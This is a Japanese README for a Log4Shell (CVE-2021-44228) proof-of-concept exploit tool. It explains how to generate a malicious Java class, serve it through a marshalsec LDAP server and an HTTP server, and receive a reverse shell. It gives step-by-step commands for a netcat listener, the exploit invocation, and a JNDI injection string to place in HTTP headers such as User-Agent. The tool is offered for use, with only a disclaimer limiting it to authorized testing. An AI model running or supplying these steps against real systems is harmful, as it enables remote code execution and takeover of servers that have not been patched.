log4shell-poc (CVE-2021-44228)

Log4jの脆弱性（CVE-2021-44228）、通称Log4Shellの概念実証（PoC）エクスプロイトです。このツールは悪意のあるJavaクラスを生成し、LDAPリファラルサーバーを起動して、HTTP経由でペイロードを配信します。これにより、リモートの攻撃者は脆弱なターゲット上で任意のコマンドを実行できます。

特徴

• デフォルトのバインドIPとしてローカルIPv4アドレスを自動検出します。
• 同梱のJDK 1.8.0_20サポート（推奨）。システムのJavaへのフォールバック付き。
• インラインのリバースシェルペイロード（netcatリスナーへの接続を返します）。
• 生成ファイルのクリーンなコンパイルとクリーンアップ。

必要条件

• Python 3.6以降
• 以下のファイル/ディレクトリがpoc.pyと同じフォルダに存在する必要があります:
  • jdk1.8.0_20/ – Oracle JDK 1.8.0_20のコピー（bin/javacとbin/javaを含む）。存在しない場合、スクリプトはシステムのjavacおよびjavaコマンドを使用しようとします。
  • target/marshalsec-0.0.3-SNAPSHOT-all.jar – LDAPサーバーの起動に使用するmarshalsec JARファイル。

インストール

1. このリポジトリをクローンまたはダウンロードします。
2. 上記のとおり、jdk1.8.0_20フォルダとmarshalsec JARを配置します。
3. Pythonの依存関係をインストールします:
   root@kitploit:~

   pip install -r requirements.txt
   

使用方法

Pythonでスクリプトを実行します:

python3 poc.py [OPTIONS]

コマンドライン引数

使用例

1. 攻撃者マシンでnetcatリスナーを起動します（9001は選択したポートに置き換えてください）:

   root@kitploit:~

   nc -lvnp 9001
   

2. エクスプロイトを実行します:

   root@kitploit:~

   python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
   

   --useripを省略すると、スクリプトは自動的にマシンのプライマリIPv4アドレスを使用します。

3. スクリプトは、脆弱なターゲットに注入するペイロード文字列を表示します。例:

   root@kitploit:~

   ${jndi:ldap://192.168.1.10:1389/a}
   

4. この文字列を、脆弱なLog4jインスタンスによってログに記録される任意の入力フィールドまたはHTTPヘッダー（例: User-Agent、X-Forwarded-Forなど）に注入します。ターゲットはLDAPサーバーに接続し、HTTPサーバーから悪意のあるクラスを取得して、リバースシェルを実行します。

5. netcatリスナーにシェル接続が表示されるはずです。

動作の仕組み

1. スクリプトは、userip:lportへのリバースシェルを開くコードを含むExploit.javaを生成します。
2. 提供されたJDK（またはシステムのjavac）を使用してファイルをコンパイルします。
3. marshalsec経由でLDAPサーバーを起動します。このサーバーは、JNDIルックアップに対してHTTPサーバーへの参照で応答します。
4. webportでシンプルなHTTPサーバーを起動し、コンパイル済みのExploit.classをホストします。
5. 脆弱なターゲットが注入されたペイロードを使用してJNDIルックアップを実行すると、クラスをダウンロードして実行し、攻撃者にリバースシェルを提供します。

重要な注意事項

• リバースシェルペイロードは/bin/shを使用し、Unix系のターゲットシステムを対象としています。Windowsターゲットの場合は、Exploit.java内のコマンドを変更する必要があります。
• 同梱のJDK 1.8.0_20を推奨します。それ以降のバージョンでは、このエクスプロイトが使用するJNDIリモートクラスロード機能をブロックする可能性があるためです。
• ファイアウォールが指定されたポート（webportとlport）への着信接続を許可し、ターゲットがあなたのマシンに到達できることを確認してください。

クリーンアップ

スクリプトは終了時（通常終了またはKeyboardInterrupt後）にExploit.javaとExploit.classを自動的に削除します。デバッグのためにファイルを保持する必要がある場合は、poc.py内のfinallyブロックをコメントアウトしてください。

免責事項

このツールは、教育および許可されたセキュリティテストの目的のみを対象としています。所有していない、またはテストする明示的な許可を得ていないシステムに対するこのエクスプロイトの不正使用は違法です。著者は、このソフトウェアの誤用またはそれによって引き起こされた損害について一切の責任を負いません。

クレジット

• オリジナルのPoC: kozmer
• Marshalsec: mbechler
• Log4jの脆弱性はAlibaba Cloud Security Teamによって発見されました。